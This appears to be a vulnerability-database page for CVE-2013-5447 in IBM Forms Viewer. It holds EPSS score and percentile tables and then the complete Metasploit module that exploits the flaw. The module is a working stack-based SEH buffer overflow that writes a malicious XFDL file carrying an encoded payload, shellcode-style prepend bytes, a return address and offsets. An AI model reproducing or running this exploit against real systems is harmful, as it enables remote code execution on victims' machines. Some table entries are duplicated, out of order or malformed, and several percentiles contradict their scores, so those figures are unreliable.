CVE-2013-5447 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.05%	–	–
2023-03-12	–	–	–	97.25%	–
2023-04-16	–	–	–	97.15%	–
2023-07-23	–	–	–	97.2%	–
2023-09-10	–	–	–	97.29%	–
2023-12-10	–	–	–	97.21%	–
2024-01-28	–	–	–	96.54%	–
2024-03-17	–	–	–	94.46%	–
2024-06-02	–	–	–	95.61%	–
2024-06-30	–	–	–	95.93%	–
2024-08-11	–	–	–	95.93%	–
2024-09-01	–	–	–	96.78%	–
2024-11-03	–	–	–	96.77%	–
2024-12-22	–	–	–	96.99%	–
2025-01-05	–	–	–	96.86%	–
2025-03-09	–	–	–	96.92%	–
2025-01-19	–	–	–	96.86%	–
2025-03-09	–	–	–	96.92%	–
2025-03-18	–	–	–	–	69.33%
2025-03-18	–	–	–	–	69.33,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	1%
2023-04-16	1%
2023-07-23	1%
2023-09-10	1%
2023-12-10	1%
2024-01-28	1%
2024-03-17	99%
2024-06-02	99%
2024-06-30	99%
2024-08-11	1%
2024-09-01	1%
2024-11-03	1%
2024-12-22	1%
2025-01-05	1%
2025-03-09	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include REXML include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Forms Viewer Unicode Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed XFDL files, with a long fontname value. This module has been tested successfully on IBM Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'References' => [ [ 'CVE', '2013-5447' ], [ 'OSVDB', '100732' ], [ 'ZDI', '13-274' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ], ], 'Payload' => { 'Space' => 3000, 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'EncoderOptions' => { 'BufferRegister' => 'ECX', 'BufferOffset' => 10 }, 'BadChars' => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"), 'DisableNops' => true, # Fix the stack before the payload is executed, so we avoid # windows exceptions due to alignment 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] "\x83\xC0\x08" + # add eax, byte 8 "\x8b\x20" + # mov esp, [eax] "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 }, 'Platform' => 'win', 'Targets' => [ [ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1', # masqform.exe 8.0.0.266 { 'Ret' => 0x4c30, # p/p/r unicode from masqform.exe 'Nop' => 0x47, # 004700 => add [edi+0x0],al 'Offset' => 62 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 05 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xfdl']), ], self.class) end def generate_xfdl xml = Document.new # XFDL xfdl = xml.add_element("XFDL", { 'xmlns:custom' => "http://www.ibm.com/xmlns/prod/XFDL/Custom", 'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6", 'xmlns:ev' => "http://www.w3.org/2001/xml-events", 'xmlns:xfdl' => "http://www.ibm.com/xmlns/prod/XFDL/7.5", 'xmlns:xforms' => "http://www.w3.org/2002/xforms", 'xmlns' => "http://www.ibm.com/xmlns/prod/XFDL/7.5", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance" }) # XFDL => globalpage xdfl_global_page = xfdl.add_element("globalpage", { "sid" => "global" }) global = xdfl_global_page.add_element("global", { "sid" => "global" }) designer_date = global.add_element("designer:date") designer_date.text = "20060615" form_id = global.add_element("formid") form_id.add_element("title") serial_number = form_id.add_element("serialnumber") serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000" version_form = form_id.add_element("version") version_form.text = "1" # XFDL => page page = xfdl.add_element("page", { "sid" => "PAGE1" }) # XFDL => page => global page_global = page.add_element("global", { "sid" => "global" }) label_page = page_global.add_element("label") label_page.text = "PAGE1" # XFDL => page => label label = page.add_element("label", { "sid" => "title" }) item_location = label.add_element("itemlocation") x = item_location.add_element("x") x.text = "20" y = item_location.add_element("y") y.text = "0" value = label.add_element("value", { "compute" => "global.global.custom:formTitle" }) value.text = rand_text_alpha(10) font_info = label.add_element("fontinfo") font_name = font_info.add_element("fontname") font_name.text = "MSF_REPLACE" xml.to_s end def exploit sploit = rand_text_alpha(target['Offset']) sploit << "\x61\x62" # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200) sploit << [target.ret].pack("v") # seh # ppr sploit << [target['Nop']].pack("C") sploit << payload.encoded sploit << rand_text_alpha(4096) # make it crash xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(xfdl) end end